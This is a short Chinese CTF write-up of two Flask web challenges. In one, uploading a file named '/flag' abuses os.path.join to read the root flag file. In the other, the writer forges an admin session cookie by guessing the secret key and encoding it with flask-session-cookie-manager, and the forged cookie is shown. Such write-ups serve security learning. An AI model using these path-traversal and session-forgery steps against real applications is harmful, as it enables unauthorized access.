Web入门-Python相关

做题

[NISACTF 2022]babyupload

Flask题,os.path.join有个漏洞,当某个参数以“/”开头时,前面的参数一律忽略,然后从该参数后面认为是根目录下路径。

上传文件“/flag”,即服务端错误地读取根目录下的“flag”文件。

[LitCTF 2023]Flag点击就送!

用Wappalyzer看看,发现为Flask:

1
2
3
4
from Wappalyzer import Wappalyzer,WebPage
wappalyzer=Wappalyzer.latest()
webpage=WebPage.new_from_url('http://node4.anna.nssctf.cn:28500/flag')
print(wappalyzer.analyze(webpage))

看到HTTP请求头Cookie中有个Session,疑似Session伪造。

Flask的Session信息是存贮在客户端的,所以Flask通过一个secret_key防止Session被篡改的。

使用flask_session_cookie_manager3生成,尝试key为LitCTF。

1
flask-session-cookie-manager encode -s 'LitCTF' -t '{"name":"admin"}'

即Cookie请求头改为:

1
session=eyJuYW1lIjoiYWRtaW4ifQ.ZfVaAQ.NDhAhQ-c8lZZPy-2W0l47FRZyP8